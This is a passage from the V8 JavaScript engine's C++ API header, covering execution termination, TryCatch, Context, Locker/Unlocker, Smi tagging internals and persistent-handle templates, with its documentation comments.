*/
static bool Initialize();
/**
* Allows the host application to provide a callback which can be used
* as a source of entropy for random number generators.
*/
static void SetEntropySource(EntropySource source);
/**
* Allows the host application to provide a callback that allows v8 to
* cooperate with a profiler that rewrites return addresses on stack.
*/
static void SetReturnAddressLocationResolver(
ReturnAddressLocationResolver return_address_resolver);
/**
* Forcefully terminate the current thread of JavaScript execution
* in the given isolate.
*
* This method can be used by any thread even if that thread has not
* acquired the V8 lock with a Locker object.
*
* \param isolate The isolate in which to terminate the current JS execution.
*/
V8_INLINE static V8_DEPRECATE_SOON("Use isolate version",
void TerminateExecution(Isolate* isolate));
/**
* Is V8 terminating JavaScript execution.
*
* Returns true if JavaScript execution is currently terminating
* because of a call to TerminateExecution. In that case there are
* still JavaScript frames on the stack and the termination
* exception is still active.
*
* \param isolate The isolate in which to check.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
bool IsExecutionTerminating(Isolate* isolate = NULL));
/**
* Resume execution capability in the given isolate, whose execution
* was previously forcefully terminated using TerminateExecution().
*
* When execution is forcefully terminated using TerminateExecution(),
* the isolate can not resume execution until all JavaScript frames
* have propagated the uncatchable exception which is generated. This
* method allows the program embedding the engine to handle the
* termination event and resume execution capability, even if
* JavaScript frames remain on the stack.
*
* This method can be used by any thread even if that thread has not
* acquired the V8 lock with a Locker object.
*
* \param isolate The isolate in which to resume execution capability.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version", void CancelTerminateExecution(Isolate* isolate));
/**
* Releases any resources used by v8 and stops any utility threads
* that may be running. Note that disposing v8 is permanent, it
* cannot be reinitialized.
*
* It should generally not be necessary to dispose v8 before exiting
* a process, this should happen automatically. It is only necessary
* to use if the process needs the resources taken up by v8.
*/
static bool Dispose();
/**
* Iterates through all external resources referenced from current isolate
* heap. GC is not invoked prior to iterating, therefore there is no
* guarantee that visited objects are still alive.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isoalte version",
void VisitExternalResources(ExternalResourceVisitor* visitor));
/**
* Iterates through all the persistent handles in the current isolate's heap
* that have class_ids.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
void VisitHandlesWithClassIds(PersistentHandleVisitor* visitor));
/**
* Iterates through all the persistent handles in isolate's heap that have
* class_ids.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
void VisitHandlesWithClassIds(Isolate* isolate,
PersistentHandleVisitor* visitor));
/**
* Iterates through all the persistent handles in the current isolate's heap
* that have class_ids and are candidates to be marked as partially dependent
* handles. This will visit handles to young objects created since the last
* garbage collection but is free to visit an arbitrary superset of these
* objects.
*/
V8_INLINE static V8_DEPRECATE_SOON(
"Use isolate version",
void VisitHandlesForPartialDependence(Isolate* isolate,
PersistentHandleVisitor* visitor));
/**
* Initialize the ICU library bundled with V8. The embedder should only
* invoke this method when using the bundled ICU. Returns true on success.
*
* If V8 was compiled with the ICU data in an external file, the location
* of the data file has to be provided.
*/
static bool InitializeICU(const char* icu_data_file = NULL);
/**
* Sets the v8::Platform to use. This should be invoked before V8 is
* initialized.
*/
static void InitializePlatform(Platform* platform);
/**
* Clears all references to the v8::Platform. This should be invoked after
* V8 was disposed.
*/
static void ShutdownPlatform();
private:
V8();
static internal::Object** GlobalizeReference(internal::Isolate* isolate,
internal::Object** handle);
static internal::Object** CopyPersistent(internal::Object** handle);
static void DisposeGlobal(internal::Object** global_handle);
typedef WeakCallbackData<Value, void>::Callback WeakCallback;
static void MakeWeak(internal::Object** global_handle, void* data,
WeakCallback weak_callback);
static void MakeWeak(internal::Object** global_handle, void* data,
WeakCallbackInfo<void>::Callback weak_callback,
WeakCallbackType type);
static void MakeWeak(internal::Object** global_handle, void* data,
// Must be 0 or -1.
int internal_field_index1,
// Must be 1 or -1.
int internal_field_index2,
WeakCallbackInfo<void>::Callback weak_callback);
static void* ClearWeak(internal::Object** global_handle);
static void Eternalize(Isolate* isolate,
Value* handle,
int* index);
static Local<Value> GetEternal(Isolate* isolate, int index);
static void CheckIsJust(bool is_just);
static void ToLocalEmpty();
static void InternalFieldOutOfBounds(int index);
template <class T> friend class Handle;
template <class T> friend class Local;
template <class T>
friend class MaybeLocal;
template <class T>
friend class Maybe;
template <class T>
friend class WeakCallbackInfo;
template <class T> friend class Eternal;
template <class T> friend class PersistentBase;
template <class T, class M> friend class Persistent;
friend class Context;
};
/**
* A simple Maybe type, representing an object which may or may not have a
* value, see https://hackage.haskell.org/package/base/docs/Data-Maybe.html.
*
* If an API method returns a Maybe<>, the API method can potentially fail
* either because an exception is thrown, or because an exception is pending,
* e.g. because a previous API call threw an exception that hasn't been caught
* yet, or because a TerminateExecution exception was thrown. In that case, a
* "Nothing" value is returned.
*/
template <class T>
class Maybe {
public:
V8_INLINE bool IsNothing() const { return !has_value; }
V8_INLINE bool IsJust() const { return has_value; }
// Will crash when checks are enabled if the Maybe<> is nothing.
V8_INLINE T FromJust() const {
#ifdef V8_ENABLE_CHECKS
V8::CheckIsJust(IsJust());
#endif
return value;
}
V8_INLINE T FromMaybe(const T& default_value) const {
return has_value ? value : default_value;
}
V8_INLINE bool operator==(const Maybe& other) const {
return (IsJust() == other.IsJust()) &&
(!IsJust() || FromJust() == other.FromJust());
}
V8_INLINE bool operator!=(const Maybe& other) const {
return !operator==(other);
}
private:
Maybe() : has_value(false) {}
explicit Maybe(const T& t) : has_value(true), value(t) {}
bool has_value;
T value;
template <class U>
friend Maybe<U> Nothing();
template <class U>
friend Maybe<U> Just(const U& u);
};
template <class T>
inline Maybe<T> Nothing() {
return Maybe<T>();
}
template <class T>
inline Maybe<T> Just(const T& t) {
return Maybe<T>(t);
}
/**
* An external exception handler.
*/
class V8_EXPORT TryCatch {
public:
/**
* Creates a new try/catch block and registers it with v8. Note that
* all TryCatch blocks should be stack allocated because the memory
* location itself is compared against JavaScript try/catch blocks.
*/
V8_DEPRECATE_SOON("Use isolate version", TryCatch());
/**
* Creates a new try/catch block and registers it with v8. Note that
* all TryCatch blocks should be stack allocated because the memory
* location itself is compared against JavaScript try/catch blocks.
*/
TryCatch(Isolate* isolate);
/**
* Unregisters and deletes this try/catch block.
*/
~TryCatch();
/**
* Returns true if an exception has been caught by this try/catch block.
*/
bool HasCaught() const;
/**
* For certain types of exceptions, it makes no sense to continue execution.
*
* If CanContinue returns false, the correct action is to perform any C++
* cleanup needed and then return. If CanContinue returns false and
* HasTerminated returns true, it is possible to call
* CancelTerminateExecution in order to continue calling into the engine.
*/
bool CanContinue() const;
/**
* Returns true if an exception has been caught due to script execution
* being terminated.
*
* There is no JavaScript representation of an execution termination
* exception. Such exceptions are thrown when the TerminateExecution
* methods are called to terminate a long-running script.
*
* If such an exception has been thrown, HasTerminated will return true,
* indicating that it is possible to call CancelTerminateExecution in order
* to continue calling into the engine.
*/
bool HasTerminated() const;
/**
* Throws the exception caught by this TryCatch in a way that avoids
* it being caught again by this same TryCatch. As with ThrowException
* it is illegal to execute any JavaScript operations after calling
* ReThrow; the caller must return immediately to where the exception
* is caught.
*/
Handle<Value> ReThrow();
/**
* Returns the exception caught by this try/catch block. If no exception has
* been caught an empty handle is returned.
*
* The returned handle is valid until this TryCatch block has been destroyed.
*/
Local<Value> Exception() const;
/**
* Returns the .stack property of the thrown object. If no .stack
* property is present an empty handle is returned.
*/
V8_DEPRECATE_SOON("Use maybe version.", Local<Value> StackTrace()) const;
MaybeLocal<Value> StackTrace(Local<Context> context) const;
/**
* Returns the message associated with this exception. If there is
* no message associated an empty handle is returned.
*
* The returned handle is valid until this TryCatch block has been
* destroyed.
*/
Local<v8::Message> Message() const;
/**
* Clears any exceptions that may have been caught by this try/catch block.
* After this method has been called, HasCaught() will return false. Cancels
* the scheduled exception if it is caught and ReThrow() is not called before.
*
* It is not necessary to clear a try/catch block before using it again; if
* another exception is thrown the previously caught exception will just be
* overwritten. However, it is often a good idea since it makes it easier
* to determine which operation threw a given exception.
*/
void Reset();
/**
* Set verbosity of the external exception handler.
*
* By default, exceptions that are caught by an external exception
* handler are not reported. Call SetVerbose with true on an
* external exception handler to have exceptions caught by the
* handler reported as if they were not caught.
*/
void SetVerbose(bool value);
/**
* Set whether or not this TryCatch should capture a Message object
* which holds source information about where the exception
* occurred. True by default.
*/
void SetCaptureMessage(bool value);
/**
* There are cases when the raw address of C++ TryCatch object cannot be
* used for comparisons with addresses into the JS stack. The cases are:
* 1) ARM, ARM64 and MIPS simulators which have separate JS stack.
* 2) Address sanitizer allocates local C++ object in the heap when
* UseAfterReturn mode is enabled.
* This method returns address that can be used for comparisons with
* addresses into the JS stack. When neither simulator nor ASAN's
* UseAfterReturn is enabled, then the address returned will be the address
* of the C++ try catch handler itself.
*/
static void* JSStackComparableAddress(v8::TryCatch* handler) {
if (handler == NULL) return NULL;
return handler->js_stack_comparable_address_;
}
private:
void ResetInternal();
// Make it hard to create heap-allocated TryCatch blocks.
TryCatch(const TryCatch&);
void operator=(const TryCatch&);
void* operator new(size_t size);
void operator delete(void*, size_t);
v8::internal::Isolate* isolate_;
v8::TryCatch* next_;
void* exception_;
void* message_obj_;
void* js_stack_comparable_address_;
bool is_verbose_ : 1;
bool can_continue_ : 1;
bool capture_message_ : 1;
bool rethrow_ : 1;
bool has_terminated_ : 1;
friend class v8::internal::Isolate;
};
// --- Context ---
/**
* A container for extension names.
*/
class V8_EXPORT ExtensionConfiguration {
public:
ExtensionConfiguration() : name_count_(0), names_(NULL) { }
ExtensionConfiguration(int name_count, const char* names[])
: name_count_(name_count), names_(names) { }
const char** begin() const { return &names_[0]; }
const char** end() const { return &names_[name_count_]; }
private:
const int name_count_;
const char** names_;
};
/**
* A sandboxed execution context with its own set of built-in objects
* and functions.
*/
class V8_EXPORT Context {
public:
/**
* Returns the global proxy object.
*
* Global proxy object is a thin wrapper whose prototype points to actual
* context's global object with the properties like Object, etc. This is done
* that way for security reasons (for more details see
* https://wiki.mozilla.org/Gecko:SplitWindow).
*
* Please note that changes to global proxy object prototype most probably
* would break VM---v8 expects only global object as a prototype of global
* proxy object.
*/
Local<Object> Global();
/**
* Detaches the global object from its context before
* the global object can be reused to create a new context.
*/
void DetachGlobal();
/**
* Creates a new context and returns a handle to the newly allocated
* context.
*
* \param isolate The isolate in which to create the context.
*
* \param extensions An optional extension configuration containing
* the extensions to be installed in the newly created context.
*
* \param global_template An optional object template from which the
* global object for the newly created context will be created.
*
* \param global_object An optional global object to be reused for
* the newly created context. This global object must have been
* created by a previous call to Context::New with the same global
* template. The state of the global object will be completely reset
* and only object identify will remain.
*/
static Local<Context> New(
Isolate* isolate,
ExtensionConfiguration* extensions = NULL,
Handle<ObjectTemplate> global_template = Handle<ObjectTemplate>(),
Handle<Value> global_object = Handle<Value>());
/**
* Sets the security token for the context. To access an object in
* another context, the security tokens must match.
*/
void SetSecurityToken(Handle<Value> token);
/** Restores the security token to the default value. */
void UseDefaultSecurityToken();
/** Returns the security token of this context.*/
Handle<Value> GetSecurityToken();
/**
* Enter this context. After entering a context, all code compiled
* and run is compiled and run in this context. If another context
* is already entered, this old context is saved so it can be
* restored when the new context is exited.
*/
void Enter();
/**
* Exit this context. Exiting the current context restores the
* context that was in place when entering the current context.
*/
void Exit();
/** Returns an isolate associated with a current context. */
v8::Isolate* GetIsolate();
/**
* The field at kDebugIdIndex is reserved for V8 debugger implementation.
* The value is propagated to the scripts compiled in given Context and
* can be used for filtering scripts.
*/
enum EmbedderDataFields { kDebugIdIndex = 0 };
/**
* Gets the embedder data with the given index, which must have been set by a
* previous call to SetEmbedderData with the same index. Note that index 0
* currently has a special meaning for Chrome's debugger.
*/
V8_INLINE Local<Value> GetEmbedderData(int index);
/**
* Sets the embedder data with the given index, growing the data as
* needed. Note that index 0 currently has a special meaning for Chrome's
* debugger.
*/
void SetEmbedderData(int index, Handle<Value> value);
/**
* Gets a 2-byte-aligned native pointer from the embedder data with the given
* index, which must have bees set by a previous call to
* SetAlignedPointerInEmbedderData with the same index. Note that index 0
* currently has a special meaning for Chrome's debugger.
*/
V8_INLINE void* GetAlignedPointerFromEmbedderData(int index);
/**
* Sets a 2-byte-aligned native pointer in the embedder data with the given
* index, growing the data as needed. Note that index 0 currently has a
* special meaning for Chrome's debugger.
*/
void SetAlignedPointerInEmbedderData(int index, void* value);
/**
* Control whether code generation from strings is allowed. Calling
* this method with false will disable 'eval' and the 'Function'
* constructor for code running in this context. If 'eval' or the
* 'Function' constructor are used an exception will be thrown.
*
* If code generation from strings is not allowed the
* V8::AllowCodeGenerationFromStrings callback will be invoked if
* set before blocking the call to 'eval' or the 'Function'
* constructor. If that callback returns true, the call will be
* allowed, otherwise an exception will be thrown. If no callback is
* set an exception will be thrown.
*/
void AllowCodeGenerationFromStrings(bool allow);
/**
* Returns true if code generation from strings is allowed for the context.
* For more details see AllowCodeGenerationFromStrings(bool) documentation.
*/
bool IsCodeGenerationFromStringsAllowed();
/**
* Sets the error description for the exception that is thrown when
* code generation from strings is not allowed and 'eval' or the 'Function'
* constructor are called.
*/
void SetErrorMessageForCodeGenerationFromStrings(Handle<String> message);
/**
* Stack-allocated class which sets the execution context for all
* operations executed within a local scope.
*/
class Scope {
public:
explicit V8_INLINE Scope(Handle<Context> context) : context_(context) {
context_->Enter();
}
V8_INLINE ~Scope() { context_->Exit(); }
private:
Handle<Context> context_;
};
private:
friend class Value;
friend class Script;
friend class Object;
friend class Function;
Local<Value> SlowGetEmbedderData(int index);
void* SlowGetAlignedPointerFromEmbedderData(int index);
};
/**
* Multiple threads in V8 are allowed, but only one thread at a time is allowed
* to use any given V8 isolate, see the comments in the Isolate class. The
* definition of 'using a V8 isolate' includes accessing handles or holding onto
* object pointers obtained from V8 handles while in the particular V8 isolate.
* It is up to the user of V8 to ensure, perhaps with locking, that this
* constraint is not violated. In addition to any other synchronization
* mechanism that may be used, the v8::Locker and v8::Unlocker classes must be
* used to signal thead switches to V8.
*
* v8::Locker is a scoped lock object. While it's active, i.e. between its
* construction and destruction, the current thread is allowed to use the locked
* isolate. V8 guarantees that an isolate can be locked by at most one thread at
* any time. In other words, the scope of a v8::Locker is a critical section.
*
* Sample usage:
* \code
* ...
* {
* v8::Locker locker(isolate);
* v8::Isolate::Scope isolate_scope(isolate);
* ...
* // Code using V8 and isolate goes here.
* ...
* } // Destructor called here
* \endcode
*
* If you wish to stop using V8 in a thread A you can do this either by
* destroying the v8::Locker object as above or by constructing a v8::Unlocker
* object:
*
* \code
* {
* isolate->Exit();
* v8::Unlocker unlocker(isolate);
* ...
* // Code not using V8 goes here while V8 can run in another thread.
* ...
* } // Destructor called here.
* isolate->Enter();
* \endcode
*
* The Unlocker object is intended for use in a long-running callback from V8,
* where you want to release the V8 lock for other threads to use.
*
* The v8::Locker is a recursive lock, i.e. you can lock more than once in a
* given thread. This can be useful if you have code that can be called either
* from code that holds the lock or from code that does not. The Unlocker is
* not recursive so you can not have several Unlockers on the stack at once, and
* you can not use an Unlocker in a thread that is not inside a Locker's scope.
*
* An unlocker will unlock several lockers if it has to and reinstate the
* correct depth of locking on its destruction, e.g.:
*
* \code
* // V8 not locked.
* {
* v8::Locker locker(isolate);
* Isolate::Scope isolate_scope(isolate);
* // V8 locked.
* {
* v8::Locker another_locker(isolate);
* // V8 still locked (2 levels).
* {
* isolate->Exit();
* v8::Unlocker unlocker(isolate);
* // V8 not locked.
* }
* isolate->Enter();
* // V8 locked again (2 levels).
* }
* // V8 still locked (1 level).
* }
* // V8 Now no longer locked.
* \endcode
*/
class V8_EXPORT Unlocker {
public:
/**
* Initialize Unlocker for a given Isolate.
*/
V8_INLINE explicit Unlocker(Isolate* isolate) { Initialize(isolate); }
~Unlocker();
private:
void Initialize(Isolate* isolate);
internal::Isolate* isolate_;
};
class V8_EXPORT Locker {
public:
/**
* Initialize Locker for a given Isolate.
*/
V8_INLINE explicit Locker(Isolate* isolate) { Initialize(isolate); }
~Locker();
/**
* Returns whether or not the locker for a given isolate, is locked by the
* current thread.
*/
static bool IsLocked(Isolate* isolate);
/**
* Returns whether v8::Locker is being used by this V8 instance.
*/
static bool IsActive();
private:
void Initialize(Isolate* isolate);
bool has_lock_;
bool top_level_;
internal::Isolate* isolate_;
// Disallow copying and assigning.
Locker(const Locker&);
void operator=(const Locker&);
};
// --- Implementation ---
namespace internal {
const int kApiPointerSize = sizeof(void*); // NOLINT
const int kApiIntSize = sizeof(int); // NOLINT
const int kApiInt64Size = sizeof(int64_t); // NOLINT
// Tag information for HeapObject.
const int kHeapObjectTag = 1;
const int kHeapObjectTagSize = 2;
const intptr_t kHeapObjectTagMask = (1 << kHeapObjectTagSize) - 1;
// Tag information for Smi.
const int kSmiTag = 0;
const int kSmiTagSize = 1;
const intptr_t kSmiTagMask = (1 << kSmiTagSize) - 1;
template <size_t ptr_size> struct SmiTagging;
template<int kSmiShiftSize>
V8_INLINE internal::Object* IntToSmi(int value) {
int smi_shift_bits = kSmiTagSize + kSmiShiftSize;
uintptr_t tagged_value =
(static_cast<uintptr_t>(value) << smi_shift_bits) | kSmiTag;
return reinterpret_cast<internal::Object*>(tagged_value);
}
// Smi constants for 32-bit systems.
template <> struct SmiTagging<4> {
enum { kSmiShiftSize = 0, kSmiValueSize = 31 };
static int SmiShiftSize() { return kSmiShiftSize; }
static int SmiValueSize() { return kSmiValueSize; }
V8_INLINE static int SmiToInt(const internal::Object* value) {
int shift_bits = kSmiTagSize + kSmiShiftSize;
// Throw away top 32 bits and shift down (requires >> to be sign extending).
return static_cast<int>(reinterpret_cast<intptr_t>(value)) >> shift_bits;
}
V8_INLINE static internal::Object* IntToSmi(int value) {
return internal::IntToSmi<kSmiShiftSize>(value);
}
V8_INLINE static bool IsValidSmi(intptr_t value) {
// To be representable as an tagged small integer, the two
// most-significant bits of 'value' must be either 00 or 11 due to
// sign-extension. To check this we add 01 to the two
// most-significant bits, and check if the most-significant bit is 0
//
// CAUTION: The original code below:
// bool result = ((value + 0x40000000) & 0x80000000) == 0;
// may lead to incorrect results according to the C language spec, and
// in fact doesn't work correctly with gcc4.1.1 in some cases: The
// compiler may produce undefined results in case of signed integer
// overflow. The computation must be done w/ unsigned ints.
return static_cast<uintptr_t>(value + 0x40000000U) < 0x80000000U;
}
};
// Smi constants for 64-bit systems.
template <> struct SmiTagging<8> {
enum { kSmiShiftSize = 31, kSmiValueSize = 32 };
static int SmiShiftSize() { return kSmiShiftSize; }
static int SmiValueSize() { return kSmiValueSize; }
V8_INLINE static int SmiToInt(const internal::Object* value) {
int shift_bits = kSmiTagSize + kSmiShiftSize;
// Shift down and throw away top 32 bits.
return static_cast<int>(reinterpret_cast<intptr_t>(value) >> shift_bits);
}
V8_INLINE static internal::Object* IntToSmi(int value) {
return internal::IntToSmi<kSmiShiftSize>(value);
}
V8_INLINE static bool IsValidSmi(intptr_t value) {
// To be representable as a long smi, the value must be a 32-bit integer.
return (value == static_cast<int32_t>(value));
}
};
typedef SmiTagging<kApiPointerSize> PlatformSmiTagging;
const int kSmiShiftSize = PlatformSmiTagging::kSmiShiftSize;
const int kSmiValueSize = PlatformSmiTagging::kSmiValueSize;
V8_INLINE static bool SmiValuesAre31Bits() { return kSmiValueSize == 31; }
V8_INLINE static bool SmiValuesAre32Bits() { return kSmiValueSize == 32; }
/**
* This class exports constants and functionality from within v8 that
* is necessary to implement inline functions in the v8 api. Don't
* depend on functions and constants defined here.
*/
class Internals {
public:
// These values match non-compiler-dependent values defined within
// the implementation of v8.
static const int kHeapObjectMapOffset = 0;
static const int kMapInstanceTypeAndBitFieldOffset =
1 * kApiPointerSize + kApiIntSize;
static const int kStringResourceOffset = 3 * kApiPointerSize;
static const int kOddballKindOffset = 3 * kApiPointerSize;
static const int kForeignAddressOffset = kApiPointerSize;
static const int kJSObjectHeaderSize = 3 * kApiPointerSize;
static const int kFixedArrayHeaderSize = 2 * kApiPointerSize;
static const int kContextHeaderSize = 2 * kApiPointerSize;
static const int kContextEmbedderDataIndex = 76;
static const int kFullStringRepresentationMask = 0x07;
static const int kStringEncodingMask = 0x4;
static const int kExternalTwoByteRepresentationTag = 0x02;
static const int kExternalOneByteRepresentationTag = 0x06;
static const int kIsolateEmbedderDataOffset = 0 * kApiPointerSize;
static const int kAmountOfExternalAllocatedMemoryOffset =
4 * kApiPointerSize;
static const int kAmountOfExternalAllocatedMemoryAtLastGlobalGCOffset =
kAmountOfExternalAllocatedMemoryOffset + kApiInt64Size;
static const int kIsolateRootsOffset =
kAmountOfExternalAllocatedMemoryAtLastGlobalGCOffset + kApiInt64Size +
kApiPointerSize;
static const int kUndefinedValueRootIndex = 5;
static const int kNullValueRootIndex = 7;
static const int kTrueValueRootIndex = 8;
static const int kFalseValueRootIndex = 9;
static const int kEmptyStringRootIndex = 156;
// The external allocation limit should be below 256 MB on all architectures
// to avoid that resource-constrained embedders run low on memory.
static const int kExternalAllocationLimit = 192 * 1024 * 1024;
static const int kNodeClassIdOffset = 1 * kApiPointerSize;
static const int kNodeFlagsOffset = 1 * kApiPointerSize + 3;
static const int kNodeStateMask = 0x7;
static const int kNodeStateIsWeakValue = 2;
static const int kNodeStateIsPendingValue = 3;
static const int kNodeStateIsNearDeathValue = 4;
static const int kNodeIsIndependentShift = 3;
static const int kNodeIsPartiallyDependentShift = 4;
static const int kJSObjectType = 0xbd;
static const int kFirstNonstringType = 0x80;
static const int kOddballType = 0x83;
static const int kForeignType = 0x87;
static const int kUndefinedOddballKind = 5;
static const int kNullOddballKind = 3;
static const uint32_t kNumIsolateDataSlots = 4;
V8_EXPORT static void CheckInitializedImpl(v8::Isolate* isolate);
V8_INLINE static void CheckInitialized(v8::Isolate* isolate) {
#ifdef V8_ENABLE_CHECKS
CheckInitializedImpl(isolate);
#endif
}
V8_INLINE static bool HasHeapObjectTag(const internal::Object* value) {
return ((reinterpret_cast<intptr_t>(value) & kHeapObjectTagMask) ==
kHeapObjectTag);
}
V8_INLINE static int SmiValue(const internal::Object* value) {
return PlatformSmiTagging::SmiToInt(value);
}
V8_INLINE static internal::Object* IntToSmi(int value) {
return PlatformSmiTagging::IntToSmi(value);
}
V8_INLINE static bool IsValidSmi(intptr_t value) {
return PlatformSmiTagging::IsValidSmi(value);
}
V8_INLINE static int GetInstanceType(const internal::Object* obj) {
typedef internal::Object O;
O* map = ReadField<O*>(obj, kHeapObjectMapOffset);
// Map::InstanceType is defined so that it will always be loaded into
// the LS 8 bits of one 16-bit word, regardless of endianess.
return ReadField<uint16_t>(map, kMapInstanceTypeAndBitFieldOffset) & 0xff;
}
V8_INLINE static int GetOddballKind(const internal::Object* obj) {
typedef internal::Object O;
return SmiValue(ReadField<O*>(obj, kOddballKindOffset));
}
V8_INLINE static bool IsExternalTwoByteString(int instance_type) {
int representation = (instance_type & kFullStringRepresentationMask);
return representation == kExternalTwoByteRepresentationTag;
}
V8_INLINE static uint8_t GetNodeFlag(internal::Object** obj, int shift) {
uint8_t* addr = reinterpret_cast<uint8_t*>(obj) + kNodeFlagsOffset;
return *addr & static_cast<uint8_t>(1U << shift);
}
V8_INLINE static void UpdateNodeFlag(internal::Object** obj,
bool value, int shift) {
uint8_t* addr = reinterpret_cast<uint8_t*>(obj) + kNodeFlagsOffset;
uint8_t mask = static_cast<uint8_t>(1U << shift);
*addr = static_cast<uint8_t>((*addr & ~mask) | (value << shift));
}
V8_INLINE static uint8_t GetNodeState(internal::Object** obj) {
uint8_t* addr = reinterpret_cast<uint8_t*>(obj) + kNodeFlagsOffset;
return *addr & kNodeStateMask;
}
V8_INLINE static void UpdateNodeState(internal::Object** obj,
uint8_t value) {
uint8_t* addr = reinterpret_cast<uint8_t*>(obj) + kNodeFlagsOffset;
*addr = static_cast<uint8_t>((*addr & ~kNodeStateMask) | value);
}
V8_INLINE static void SetEmbedderData(v8::Isolate* isolate,
uint32_t slot,
void* data) {
uint8_t *addr = reinterpret_cast<uint8_t *>(isolate) +
kIsolateEmbedderDataOffset + slot * kApiPointerSize;
*reinterpret_cast<void**>(addr) = data;
}
V8_INLINE static void* GetEmbedderData(const v8::Isolate* isolate,
uint32_t slot) {
const uint8_t* addr = reinterpret_cast<const uint8_t*>(isolate) +
kIsolateEmbedderDataOffset + slot * kApiPointerSize;
return *reinterpret_cast<void* const*>(addr);
}
V8_INLINE static internal::Object** GetRoot(v8::Isolate* isolate,
int index) {
uint8_t* addr = reinterpret_cast<uint8_t*>(isolate) + kIsolateRootsOffset;
return reinterpret_cast<internal::Object**>(addr + index * kApiPointerSize);
}
template <typename T>
V8_INLINE static T ReadField(const internal::Object* ptr, int offset) {
const uint8_t* addr =
reinterpret_cast<const uint8_t*>(ptr) + offset - kHeapObjectTag;
return *reinterpret_cast<const T*>(addr);
}
template <typename T>
V8_INLINE static T ReadEmbedderData(const v8::Context* context, int index) {
typedef internal::Object O;
typedef internal::Internals I;
O* ctx = *reinterpret_cast<O* const*>(context);
int embedder_data_offset = I::kContextHeaderSize +
(internal::kApiPointerSize * I::kContextEmbedderDataIndex);
O* embedder_data = I::ReadField<O*>(ctx, embedder_data_offset);
int value_offset =
I::kFixedArrayHeaderSize + (internal::kApiPointerSize * index);
return I::ReadField<T>(embedder_data, value_offset);
}
};
} // namespace internal
template <class T>
Local<T>::Local() : Handle<T>() { }
template <class T>
Local<T> Local<T>::New(Isolate* isolate, Handle<T> that) {
return New(isolate, that.val_);
}
template <class T>
Local<T> Local<T>::New(Isolate* isolate, const PersistentBase<T>& that) {
return New(isolate, that.val_);
}
template <class T>
Handle<T> Handle<T>::New(Isolate* isolate, T* that) {
if (that == NULL) return Handle<T>();
T* that_ptr = that;
internal::Object** p = reinterpret_cast<internal::Object**>(that_ptr);
return Handle<T>(reinterpret_cast<T*>(HandleScope::CreateHandle(
reinterpret_cast<internal::Isolate*>(isolate), *p)));
}
template <class T>
Local<T> Local<T>::New(Isolate* isolate, T* that) {
if (that == NULL) return Local<T>();
T* that_ptr = that;
internal::Object** p = reinterpret_cast<internal::Object**>(that_ptr);
return Local<T>(reinterpret_cast<T*>(HandleScope::CreateHandle(
reinterpret_cast<internal::Isolate*>(isolate), *p)));
}
template<class T>
template<class S>
void Eternal<T>::Set(Isolate* isolate, Local<S> handle) {
TYPE_CHECK(T, S);
V8::Eternalize(isolate, reinterpret_cast<Value*>(*handle), &this->index_);
}
template<class T>
Local<T> Eternal<T>::Get(Isolate* isolate) {
return Local<T>(reinterpret_cast<T*>(*V8::GetEternal(isolate, index_)));
}
template <class T>
Local<T> MaybeLocal<T>::ToLocalChecked() {
#ifdef V8_ENABLE_CHECKS
if (val_ == nullptr) V8::ToLocalEmpty();
#endif
return Local<T>(val_);
}
template <class T>
void* WeakCallbackInfo<T>::GetInternalField(int index) const {
#ifdef V8_ENABLE_CHECKS
if (index < 0 || index >= kInternalFieldsInWeakCallback) {
V8::InternalFieldOutOfBounds(index);
}
#endif
return internal_fields_[index];
}
template <class T>
T* PersistentBase<T>::New(Isolate* isolate, T* that) {
if (that == NULL) return NULL;
internal::Object** p = reinterpret_cast<internal::Object**>(that);
return reinterpret_cast<T*>(
V8::GlobalizeReference(reinterpret_cast<internal::Isolate*>(isolate),
p));
}
template <class T, class M>
template <class S, class M2>
void Persistent<T, M>::Copy(const Persistent<S, M2>& that) {
TYPE_CHECK(T, S);
this->Reset();
if (that.IsEmpty()) return;
internal::Object** p = reinterpret_cast<internal::Object**>(that.val_);
this->val_ = reinterpret_cast<T*>(V8::CopyPersistent(p));
M::Copy(that, this);
}
template <class T>
bool PersistentBase<T>::IsIndependent() const {
typedef internal::Internals I;
if (this->IsEmpty()) return false;
return I::GetNodeFlag(reinterpret_cast<internal::Object**>(this->val_),
I::kNodeIsIndependentShift);
}
template <class T>
bool PersistentBase<T>::IsNearDeath() const {
typedef internal::Internals I;
if (this->IsEmpty()) return false;
uint8_t node_state =
I::GetNodeState(reinterpret_cast<internal::Object**>(this->val_));
return node_state == I::kNodeStateIsNearDeathValue ||
node_state == I::kNodeStateIsPendingValue;
}
template <class T>
bool PersistentBase<T>::IsWeak() const {
typedef internal::Internals I;
if (this->IsEmpty()) return false;
return I::GetNodeState(reinterpret_cast<internal::Object**>(this->val_)) ==
I::kNodeStateIsWeakValue;
}
template <class T>
void PersistentBase<T>::Reset() {
if (this->IsEmpty()) return;
V8::DisposeGlobal(reinterpret_cast<internal::Object**>(this->val_));
val_ = 0;
}
template <class T>
template <class S>
void PersistentBase<T>::Reset(Isolate* isolate, const Handle<S>& other) {
TYPE_CHECK(T, S);
Reset();
if (other.IsEmpty()) return;
this->val_ = New(isolate, other.val_);
}
template <class T>
template <class S>
void PersistentBase<T>::Reset(Isolate* isolate,
const PersistentBase<S>& other) {
TYPE_CHECK(T, S);
Reset();
if (other.IsEmpty()) return;
this->val_ = New(isolate, other.val_);
}
template <class T>
template <typename S, typename P>
void PersistentBase<T>::SetWeak(
P* parameter,
typename WeakCallbackData<S, P>::Callback callback) {
TYPE_CHECK(S, T);
typedef typename WeakCallbackData<Value, void>::Callback Callback;
V8::MakeWeak(reinterpret_cast<internal::Object**>(this->val_), parameter,
reinterpret_cast<Callback>(callback));
}
template <class T>
template <typename P>
void PersistentBase<T>::SetWeak(
P* parameter,
typename WeakCallbackData<T, P>::Callback callback) {
SetWeak<T, P>(parameter, callback);
}
template <class T>
template <typename P>
void PersistentBase<T>::SetPhantom(
P* parameter, typename WeakCallbackInfo<P>::Callback callback,
int internal_field_index1, int internal_field_index2) {
typedef typename WeakCallbackInfo<void>::Callback Callback;
V8::MakeWeak(reinterpret_cast<internal::Object**>(this->val_), parameter,
internal_field_index1, internal_field_index2,
reinterpret_cast<Callback>(callback));
}
template <class T>
template <typename P>
V8_INLINE void PersistentBase<T>::SetWeak(
P* parameter, typename WeakCallbackInfo<P>::Callback callback,
WeakCallbackType type) {
